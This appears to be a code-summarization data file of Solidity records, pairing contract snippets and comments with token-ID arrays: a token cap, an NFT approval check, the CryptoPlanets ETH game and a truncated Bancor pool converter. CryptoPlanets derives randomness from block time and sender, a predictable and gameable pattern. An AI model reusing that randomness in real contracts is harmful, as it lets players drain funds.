contract UBUToken is ERC20("UBUToken", "UBU"), Ownable { uint256 private _cap = 60000000e18; address public feeaddr; uint256 public transferFeeRate; mapping(address => bool) private _transactionFee; function cap() public view returns (uint256) { return _cap; } function capfarm() public view returns (uint256) { return cap().sub(totalSupply()); } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual override { super._beforeTokenTransfer(from, to, amount); require(totalSupply().add(amount) <= _cap, "ERC20Capped: cap exceeded"); } }
11,065,360
[ 1, 57, 3000, 1345, 598, 611, 1643, 82, 1359, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 587, 3000, 1345, 353, 4232, 39, 3462, 2932, 57, 3000, 1345, 3113, 315, 57, 3000, 6, 3631, 14223, 6914, 288, 203, 202, 11890, 5034, 3238, 389, 5909, 273, 1666, 17877, 73, 2643, 31, 203, 203, 202, 2867, 1071, 1656, 684, 3069, 31, 203, 202, 11890, 5034, 1071, 7412, 14667, 4727, 31, 203, 202, 203, 202, 6770, 12, 2867, 516, 1426, 13, 3238, 389, 7958, 14667, 31, 203, 203, 203, 202, 915, 3523, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 202, 202, 2463, 389, 5909, 31, 203, 202, 97, 203, 203, 202, 915, 3523, 74, 4610, 1435, 1071, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 202, 202, 2463, 3523, 7675, 1717, 12, 4963, 3088, 1283, 10663, 203, 202, 97, 7010, 203, 202, 915, 389, 5771, 1345, 5912, 12, 2867, 628, 16, 1758, 358, 16, 2254, 5034, 3844, 13, 2713, 5024, 3849, 288, 203, 202, 202, 9565, 6315, 5771, 1345, 5912, 12, 2080, 16, 358, 16, 3844, 1769, 203, 203, 1082, 202, 6528, 12, 4963, 3088, 1283, 7675, 1289, 12, 8949, 13, 1648, 389, 5909, 16, 315, 654, 39, 3462, 4664, 1845, 30, 3523, 12428, 8863, 203, 202, 202, 97, 203, 202, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0xfFdf17652cca46eB98A214cb3E413C8661241E49/sources/CryptoBeastiesToken.sol
* @dev Returns whether the given spender can transfer a given token ID @param _spender address of the spender to query @param _tokenId uint256 ID of the token to be transferred @return bool whether the token is transferable and msg.sender is approved for the given token ID, is an operator of the owner, or is the owner of the token/
function isApprovedOrOwner(address _spender, uint256 _tokenId) internal view returns (bool) { address owner = ownerOf(_tokenId); if (isTransferable(_tokenId)) { return (_spender == owner || getApproved(_tokenId) == _spender || isApprovedForAll(owner, _spender)); } return false; }
3,926,488
[ 1, 1356, 2856, 326, 864, 17571, 264, 848, 7412, 279, 864, 1147, 1599, 225, 389, 87, 1302, 264, 1758, 434, 326, 17571, 264, 358, 843, 225, 389, 2316, 548, 2254, 5034, 1599, 434, 326, 1147, 358, 506, 906, 4193, 327, 1426, 2856, 326, 1147, 353, 7412, 429, 471, 1234, 18, 15330, 353, 20412, 364, 326, 864, 1147, 1599, 16, 225, 353, 392, 3726, 434, 326, 3410, 16, 578, 353, 326, 3410, 434, 326, 1147, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 353, 31639, 1162, 5541, 12, 2867, 389, 87, 1302, 264, 16, 2254, 5034, 389, 2316, 548, 13, 2713, 1476, 1135, 261, 6430, 13, 288, 203, 3639, 1758, 3410, 273, 3410, 951, 24899, 2316, 548, 1769, 203, 3639, 309, 261, 291, 5912, 429, 24899, 2316, 548, 3719, 288, 203, 5411, 327, 261, 67, 87, 1302, 264, 422, 3410, 747, 336, 31639, 24899, 2316, 548, 13, 422, 389, 87, 1302, 264, 747, 353, 31639, 1290, 1595, 12, 8443, 16, 389, 87, 1302, 264, 10019, 203, 3639, 289, 203, 3639, 327, 629, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0x2828d5ae572a3e87febad75323af24ec0a4f2eef //Contract name: CryptoPlanets //Balance: 0.001553745 Ether //Verification Date: 3/6/2018 //Transacion Count: 23 // CODE STARTS HERE pragma solidity ^0.4.18; /* Game Name: CryptoPlanets Game Link: https://cryptoplanets.com/ Rules: - Acquire planets - Steal resources (ETH) from other planets */ contract CryptoPlanets { address ceoAddress = 0x8e6DBF31540d2299a674b8240596ae85ebD21314; modifier onlyCeo() { require (msg.sender == ceoAddress); _; } struct Planet { string name; address ownerAddress; uint256 curPrice; uint256 curResources; } Planet[] planets; // How many shares an addres own mapping (address => uint) public addressPlanetsCount; mapping (address => uint) public addressAttackCount; mapping (address => uint) public addressDefenseCount; uint256 attackCost = 10000000000000000; uint256 defenseCost = 10000000000000000; uint randNonce = 0; bool planetsAreInitiated; /* This function allows players to purchase planets from other players. The price of the planets is automatically multiplied by 1.5 after each purchase. */ function purchasePlanet(uint _planetId) public payable { require(msg.value == planets[_planetId].curPrice); // Calculate the 5% value uint256 commission5percent = ((msg.value / 10)/2); // Calculate the owner commission on this sale & transfer the commission to the owner. uint256 commissionOwner = msg.value - (commission5percent * 2); // => 95% planets[_planetId].ownerAddress.transfer(commissionOwner); // Reduce number of planets for previous owner addressPlanetsCount[planets[_planetId].ownerAddress] = addressPlanetsCount[planets[_planetId].ownerAddress] - 1; // Keep 5% in the resources of the planet planets[_planetId].curResources = planets[_planetId].curResources + commission5percent; // Transfer the 5% commission to the developer ceoAddress.transfer(commission5percent); // Update the planet owner and set the new price planets[_planetId].ownerAddress = msg.sender; planets[_planetId].curPrice = planets[_planetId].curPrice + (planets[_planetId].curPrice / 2); // Increment number of planets for new owner addressPlanetsCount[msg.sender] = addressPlanetsCount[msg.sender] + 1; } //User is purchasing attack function purchaseAttack() payable { // Verify that user is paying the correct price require(msg.value == attackCost); // We transfer the amount paid to the owner ceoAddress.transfer(msg.value); addressAttackCount[msg.sender]++; } //User is purchasing defense function purchaseDefense() payable { // Verify that user is paying the correct price require(msg.value == defenseCost); // We transfer the amount paid to the owner ceoAddress.transfer(msg.value); addressDefenseCount[msg.sender]++; } function StealResources(uint _planetId) { // Verify that the address actually own a planet require(addressPlanetsCount[msg.sender] > 0); // We verify that this address doesn't own this planet require(planets[_planetId].ownerAddress != msg.sender); // We verify that this planet has resources require(planets[_planetId].curResources > 0); // Transfer a random amount of resources (between 1% and 90%) of the resources of the planet to the stealer if it's attack is better than the planet's owner defense if(addressAttackCount[msg.sender] > addressDefenseCount[planets[_planetId].ownerAddress]) { // Generate a random number between 1 and 49 uint random = uint(keccak256(now, msg.sender, randNonce)) % 49; randNonce++; // Calculate and transfer the random amount of resources to the stealer uint256 resourcesStealable = (planets[_planetId].curResources * (50 + random)) / 100; msg.sender.transfer(resourcesStealable); // Save the new resources count planets[_planetId].curResources = planets[_planetId].curResources - resourcesStealable; } } // This function will return the details for the connected user (planets count, attack count, defense count) function getUserDetails(address _user) public view returns(uint, uint, uint) { return(addressPlanetsCount[_user], addressAttackCount[_user], addressDefenseCount[_user]); } // This function will return the details of a planet function getPlanet(uint _planetId) public view returns ( string name, address ownerAddress, uint256 curPrice, uint256 curResources, uint ownerAttack, uint ownerDefense ) { Planet storage _planet = planets[_planetId]; name = _planet.name; ownerAddress = _planet.ownerAddress; curPrice = _planet.curPrice; curResources = _planet.curResources; ownerAttack = addressAttackCount[_planet.ownerAddress]; ownerDefense = addressDefenseCount[_planet.ownerAddress]; } // The dev can use this function to create new planets. function createPlanet(string _planetName, uint256 _planetPrice) public onlyCeo { uint planetId = planets.push(Planet(_planetName, ceoAddress, _planetPrice, 0)) - 1; } // Initiate functions that will create the planets function InitiatePlanets() public onlyCeo { require(planetsAreInitiated == false); createPlanet("Blue Lagoon", 100000000000000000); createPlanet("GreenPeace", 100000000000000000); createPlanet("Medusa", 100000000000000000); createPlanet("O'Ranger", 100000000000000000); createPlanet("Queen", 90000000000000000); createPlanet("Citrus", 90000000000000000); createPlanet("O'Ranger II", 90000000000000000); createPlanet("Craterion", 50000000000000000); createPlanet("Dark'Air", 50000000000000000); } }
User is purchasing defense Verify that user is paying the correct price We transfer the amount paid to the owner
function purchaseDefense() payable { require(msg.value == defenseCost); ceoAddress.transfer(msg.value); addressDefenseCount[msg.sender]++; }
1,063,827
[ 1, 1299, 353, 5405, 343, 11730, 1652, 3558, 8553, 716, 729, 353, 8843, 310, 326, 3434, 6205, 1660, 7412, 326, 3844, 30591, 358, 326, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 23701, 3262, 3558, 1435, 8843, 429, 288, 203, 3639, 2583, 12, 3576, 18, 1132, 422, 1652, 3558, 8018, 1769, 203, 540, 203, 3639, 276, 4361, 1887, 18, 13866, 12, 3576, 18, 1132, 1769, 203, 540, 203, 3639, 1758, 3262, 3558, 1380, 63, 3576, 18, 15330, 3737, 15, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: SEE LICENSE IN LICENSE pragma solidity 0.6.12; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; import "../../ConverterVersion.sol"; import "../../interfaces/IConverter.sol"; import "../../interfaces/IConverterAnchor.sol"; import "../../interfaces/IConverterUpgrader.sol"; import "../../../utility/MathEx.sol"; import "../../../utility/ContractRegistryClient.sol"; import "../../../utility/Time.sol"; import "../../../token/interfaces/IDSToken.sol"; import "../../../token/ReserveToken.sol"; import "../../../INetworkSettings.sol"; /** * @dev This contract is a specialized version of the converter, which is * optimized for a liquidity pool that has 2 reserves with 50%/50% weights. */ contract StandardPoolConverter is ConverterVersion, IConverter, ContractRegistryClient, ReentrancyGuard, Time { using SafeMath for uint256; using ReserveToken for IReserveToken; using SafeERC20 for IERC20; using MathEx for *; uint256 private constant MAX_UINT128 = 2**128 - 1; uint256 private constant MAX_UINT112 = 2**112 - 1; uint256 private constant MAX_UINT32 = 2**32 - 1; uint256 private constant AVERAGE_RATE_PERIOD = 10 minutes; uint256 private _reserveBalances; uint256 private _reserveBalancesProduct; IReserveToken[] private _reserveTokens; mapping(IReserveToken => uint256) private _reserveIds; IConverterAnchor private _anchor; // converter anchor contract uint32 private _maxConversionFee; // maximum conversion fee, represented in ppm, 0...1000000 uint32 private _conversionFee; // current conversion fee, represented in ppm, 0...maxConversionFee // average rate details: // bits 0...111 represent the numerator of the rate between reserve token 0 and reserve token 1 // bits 111...223 represent the denominator of the rate between reserve token 0 and reserve token 1 // bits 224...255 represent the update-time of the rate between reserve token 0 and reserve token 1 // where `numerator / denominator` gives the worth of one reserve token 0 in units of reserve token 1 uint256 private _averageRateInfo; /** * @dev triggered after liquidity is added * * @param provider liquidity provider * @param reserveToken reserve token address * @param amount reserve token amount * @param newBalance reserve token new balance * @param newSupply pool token new supply */ event LiquidityAdded( address indexed provider, IReserveToken indexed reserveToken, uint256 amount, uint256 newBalance, uint256 newSupply ); /** * @dev triggered after liquidity is removed * * @param provider liquidity provider * @param reserveToken reserve token address * @param amount reserve token amount * @param newBalance reserve token new balance * @param newSupply pool token new supply */ event LiquidityRemoved( address indexed provider, IReserveToken indexed reserveToken, uint256 amount, uint256 newBalance, uint256 newSupply ); /** * @dev initializes a new StandardPoolConverter instance * * @param anchor anchor governed by the converter * @param registry address of a contract registry contract * @param maxConversionFee maximum conversion fee, represented in ppm */ constructor( IConverterAnchor anchor, IContractRegistry registry, uint32 maxConversionFee ) public ContractRegistryClient(registry) validAddress(address(anchor)) validConversionFee(maxConversionFee) { _anchor = anchor; _maxConversionFee = maxConversionFee; } // ensures that the converter is active modifier active() { _active(); _; } // error message binary size optimization function _active() private view { require(isActive(), "ERR_INACTIVE"); } // ensures that the converter is not active modifier inactive() { _inactive(); _; } // error message binary size optimization function _inactive() private view { require(!isActive(), "ERR_ACTIVE"); } // validates a reserve token address - verifies that the address belongs to one of the reserve tokens modifier validReserve(IReserveToken reserveToken) { _validReserve(reserveToken); _; } // error message binary size optimization function _validReserve(IReserveToken reserveToken) private view { require(_reserveIds[reserveToken] != 0, "ERR_INVALID_RESERVE"); } // validates conversion fee modifier validConversionFee(uint32 fee) { _validConversionFee(fee); _; } // error message binary size optimization function _validConversionFee(uint32 fee) private pure { require(fee <= PPM_RESOLUTION, "ERR_INVALID_CONVERSION_FEE"); } // validates reserve weight modifier validReserveWeight(uint32 weight) { _validReserveWeight(weight); _; } // error message binary size optimization function _validReserveWeight(uint32 weight) private pure { require(weight == PPM_RESOLUTION / 2, "ERR_INVALID_RESERVE_WEIGHT"); } /** * @dev returns the converter type * * @return see the converter types in the the main contract doc */ function converterType() public pure virtual override returns (uint16) { return 3; } /** * @dev checks whether or not the converter version is 28 or higher * * @return true, since the converter version is 28 or higher */ function isV28OrHigher() external pure returns (bool) { return true; } /** * @dev returns the converter anchor * * @return the converter anchor */ function anchor() external view override returns (IConverterAnchor) { return _anchor; } /** * @dev returns the maximum conversion fee (in units of PPM) * * @return the maximum conversion fee (in units of PPM) */ function maxConversionFee() external view override returns (uint32) { return _maxConversionFee; } /** * @dev returns the current conversion fee (in units of PPM) * * @return the current conversion fee (in units of PPM) */ function conversionFee() external view override returns (uint32) { return _conversionFee; } /** * @dev returns the average rate info * * @return the average rate info */ function averageRateInfo() external view returns (uint256) { return _averageRateInfo; } /** * @dev deposits ether * can only be called if the converter has an ETH reserve */ receive() external payable override(IConverter) validReserve(ReserveToken.NATIVE_TOKEN_ADDRESS) {} /** * @dev returns true if the converter is active, false otherwise * * @return true if the converter is active, false otherwise */ function isActive() public view virtual override returns (bool) { return _anchor.owner() == address(this); } /** * @dev transfers the anchor ownership * the new owner needs to accept the transfer * can only be called by the converter upgrader while the upgrader is the owner * note that prior to version 28, you should use 'transferAnchorOwnership' instead * * @param newOwner new token owner */ function transferAnchorOwnership(address newOwner) public override ownerOnly only(CONVERTER_UPGRADER) { _anchor.transferOwnership(newOwner); } /** * @dev accepts ownership of the anchor after an ownership transfer * most converters are also activated as soon as they accept the anchor ownership * can only be called by the contract owner * note that prior to version 28, you should use 'acceptTokenOwnership' instead */ function acceptAnchorOwnership() public virtual override ownerOnly { // verify the the converter has exactly two reserves require(_reserveTokens.length == 2, "ERR_INVALID_RESERVE_COUNT"); _anchor.acceptOwnership(); syncReserveBalances(0); emit Activation(converterType(), _anchor, true); } /** * @dev updates the current conversion fee * can only be called by the contract owner * * @param fee new conversion fee, represented in ppm */ function setConversionFee(uint32 fee) external override ownerOnly { require(fee <= _maxConversionFee, "ERR_INVALID_CONVERSION_FEE"); emit ConversionFeeUpdate(_conversionFee, fee); _conversionFee = fee; } /** * @dev transfers reserve balances to a new converter during an upgrade * can only be called by the converter upgraded which should be set at its owner * * @param newConverter address of the converter to receive the new amount */ function transferReservesOnUpgrade(address newConverter) external override nonReentrant ownerOnly only(CONVERTER_UPGRADER) { uint256 reserveCount = _reserveTokens.length; for (uint256 i = 0; i < reserveCount; ++i) { IReserveToken reserveToken = _reserveTokens[i]; reserveToken.safeTransfer(newConverter, reserveToken.balanceOf(address(this))); syncReserveBalance(reserveToken); } } /** * @dev upgrades the converter to the latest version * can only be called by the owner * note that the owner needs to call acceptOwnership on the new converter after the upgrade */ function upgrade() external ownerOnly { IConverterUpgrader converterUpgrader = IConverterUpgrader(addressOf(CONVERTER_UPGRADER)); // trigger de-activation event emit Activation(converterType(), _anchor, false); transferOwnership(address(converterUpgrader)); converterUpgrader.upgrade(version); acceptOwnership(); } /** * @dev executed by the upgrader at the end of the upgrade process to handle custom pool logic */ function onUpgradeComplete() external override nonReentrant ownerOnly only(CONVERTER_UPGRADER) { (uint256 reserveBalance0, uint256 reserveBalance1) = reserveBalances(1, 2); _reserveBalancesProduct = reserveBalance0 * reserveBalance1; } /** * @dev returns the number of reserve tokens * note that prior to version 17, you should use 'connectorTokenCount' instead * * @return number of reserve tokens */ function reserveTokenCount() public view override returns (uint16) { return uint16(_reserveTokens.length); } /** * @dev returns the array of reserve tokens * * @return array of reserve tokens */ function reserveTokens() external view override returns (IReserveToken[] memory) { return _reserveTokens; } /** * @dev defines a new reserve token for the converter * can only be called by the owner while the converter is inactive * * @param token address of the reserve token * @param weight reserve weight, represented in ppm, 1-1000000 */ function addReserve(IReserveToken token, uint32 weight) external virtual override ownerOnly inactive validExternalAddress(address(token)) validReserveWeight(weight) { require(address(token) != address(_anchor) && _reserveIds[token] == 0, "ERR_INVALID_RESERVE"); require(reserveTokenCount() < 2, "ERR_INVALID_RESERVE_COUNT"); _reserveTokens.push(token); _reserveIds[token] = _reserveTokens.length; } /** * @dev returns the reserve's weight * added in version 28 * * @param reserveToken reserve token contract address * * @return reserve weight */ function reserveWeight(IReserveToken reserveToken) external view validReserve(reserveToken) returns (uint32) { return PPM_RESOLUTION / 2; } /** * @dev returns the balance of a given reserve token * * @param reserveToken reserve token contract address * * @return the balance of the given reserve token */ function reserveBalance(IReserveToken reserveToken) public view override returns (uint256) { uint256 reserveId = _reserveIds[reserveToken]; require(reserveId != 0, "ERR_INVALID_RESERVE"); return reserveBalance(reserveId); } /** * @dev returns the balances of both reserve tokens * * @return the balances of both reserve tokens */ function reserveBalances() public view returns (uint256, uint256) { return reserveBalances(1, 2); } /** * @dev syncs all stored reserve balances */ function syncReserveBalances() external { syncReserveBalances(0); } /** * @dev calculates the accumulated network fee and transfers it to the network fee wallet */ function processNetworkFees() external nonReentrant { (uint256 reserveBalance0, uint256 reserveBalance1) = processNetworkFees(0); _reserveBalancesProduct = reserveBalance0 * reserveBalance1; } /** * @dev calculates the accumulated network fee and transfers it to the network fee wallet * * @param value amount of ether to exclude from the ether reserve balance (if relevant) * * @return new reserve balances */ function processNetworkFees(uint256 value) private returns (uint256, uint256) { syncReserveBalances(value); (uint256 reserveBalance0, uint256 reserveBalance1) = reserveBalances(1, 2); (ITokenHolder wallet, uint256 fee0, uint256 fee1) = networkWalletAndFees(reserveBalance0, reserveBalance1); reserveBalance0 -= fee0; reserveBalance1 -= fee1; setReserveBalances(1, 2, reserveBalance0, reserveBalance1); _reserveTokens[0].safeTransfer(address(wallet), fee0); _reserveTokens[1].safeTransfer(address(wallet), fee1); return (reserveBalance0, reserveBalance1); } /** * @dev returns the reserve balances of the given reserve tokens minus their corresponding fees * * @param baseReserveTokens reserve tokens * * @return reserve balances minus their corresponding fees */ function baseReserveBalances(IReserveToken[] memory baseReserveTokens) private view returns (uint256[2] memory) { uint256 reserveId0 = _reserveIds[baseReserveTokens[0]]; uint256 reserveId1 = _reserveIds[baseReserveTokens[1]]; (uint256 reserveBalance0, uint256 reserveBalance1) = reserveBalances(reserveId0, reserveId1); (, uint256 fee0, uint256 fee1) = networkWalletAndFees(reserveBalance0, reserveBalance1); return [reserveBalance0 - fee0, reserveBalance1 - fee1]; } /** * @dev converts a specific amount of source tokens to target tokens * can only be called by the bancor network contract * * @param sourceToken source reserve token * @param targetToken target reserve token * @param sourceAmount amount of tokens to convert (in units of the source token) * @param trader address of the caller who executed the conversion * @param beneficiary wallet to receive the conversion result * * @return amount of tokens received (in units of the target token) */ function convert( IReserveToken sourceToken, IReserveToken targetToken, uint256 sourceAmount, address trader, address payable beneficiary ) external payable override nonReentrant only(BANCOR_NETWORK) returns (uint256) { require(sourceToken != targetToken, "ERR_SAME_SOURCE_TARGET"); return doConvert(sourceToken, targetToken, sourceAmount, trader, beneficiary); } /** * @dev returns the conversion fee for a given target amount * * @param targetAmount target amount * * @return conversion fee */ function calculateFee(uint256 targetAmount) private view returns (uint256) { return targetAmount.mul(_conversionFee) / PPM_RESOLUTION; } /** * @dev returns the conversion fee taken from a given target amount * * @param targetAmount target amount * * @return conversion fee */ function calculateFeeInv(uint256 targetAmount) private view returns (uint256) { return targetAmount.mul(_conversionFee).div(PPM_RESOLUTION - _conversionFee); } /** * @dev loads the stored reserve balance for a given reserve id * * @param reserveId reserve id */ function reserveBalance(uint256 reserveId) private view returns (uint256) { return decodeReserveBalance(_reserveBalances, reserveId); } /** * @dev loads the stored reserve balances * * @param sourceId source reserve id * @param targetId target reserve id */ function reserveBalances(uint256 sourceId, uint256 targetId) private view returns (uint256, uint256) { require((sourceId == 1 && targetId == 2) || (sourceId == 2 && targetId == 1), "ERR_INVALID_RESERVES"); return decodeReserveBalances(_reserveBalances, sourceId, targetId); } /** * @dev stores the stored reserve balance for a given reserve id * * @param reserveId reserve id * @param balance reserve balance */ function setReserveBalance(uint256 reserveId, uint256 balance) private { require(balance <= MAX_UINT128, "ERR_RESERVE_BALANCE_OVERFLOW"); uint256 otherBalance = decodeReserveBalance(_reserveBalances, 3 - reserveId); _reserveBalances = encodeReserveBalances(balance, reserveId, otherBalance, 3 - reserveId); } /** * @dev stores the stored reserve balances * * @param sourceId source reserve id * @param targetId target reserve id * @param sourceBalance source reserve balance * @param targetBalance target reserve balance */ function setReserveBalances( uint256 sourceId, uint256 targetId, uint256 sourceBalance, uint256 targetBalance ) private { require(sourceBalance <= MAX_UINT128 && targetBalance <= MAX_UINT128, "ERR_RESERVE_BALANCE_OVERFLOW"); _reserveBalances = encodeReserveBalances(sourceBalance, sourceId, targetBalance, targetId); } /** * @dev syncs the stored reserve balance for a given reserve with the real reserve balance * * @param reserveToken address of the reserve token */ function syncReserveBalance(IReserveToken reserveToken) private { uint256 reserveId = _reserveIds[reserveToken]; setReserveBalance(reserveId, reserveToken.balanceOf(address(this))); } /** * @dev syncs all stored reserve balances, excluding a given amount of ether from the ether reserve balance (if relevant) * * @param value amount of ether to exclude from the ether reserve balance (if relevant) */ function syncReserveBalances(uint256 value) private { IReserveToken _reserveToken0 = _reserveTokens[0]; IReserveToken _reserveToken1 = _reserveTokens[1]; uint256 balance0 = _reserveToken0.balanceOf(address(this)) - (_reserveToken0.isNativeToken() ? value : 0); uint256 balance1 = _reserveToken1.balanceOf(address(this)) - (_reserveToken1.isNativeToken() ? value : 0); setReserveBalances(1, 2, balance0, balance1); } /** * @dev helper, dispatches the Conversion event * * @param sourceToken source ERC20 token * @param targetToken target ERC20 token * @param trader address of the caller who executed the conversion * @param sourceAmount amount purchased/sold (in the source token) * @param targetAmount amount returned (in the target token) * @param feeAmount the fee amount */ function dispatchConversionEvent( IReserveToken sourceToken, IReserveToken targetToken, address trader, uint256 sourceAmount, uint256 targetAmount, uint256 feeAmount ) private { emit Conversion(sourceToken, targetToken, trader, sourceAmount, targetAmount, int256(feeAmount)); } /** * @dev returns the expected amount and expected fee for converting one reserve to another * * @param sourceToken address of the source reserve token contract * @param targetToken address of the target reserve token contract * @param sourceAmount amount of source reserve tokens converted * * @return expected amount in units of the target reserve token * @return expected fee in units of the target reserve token */ function targetAmountAndFee( IReserveToken sourceToken, IReserveToken targetToken, uint256 sourceAmount ) public view virtual override active returns (uint256, uint256) { uint256 sourceId = _reserveIds[sourceToken]; uint256 targetId = _reserveIds[targetToken]; (uint256 sourceBalance, uint256 targetBalance) = reserveBalances(sourceId, targetId); return 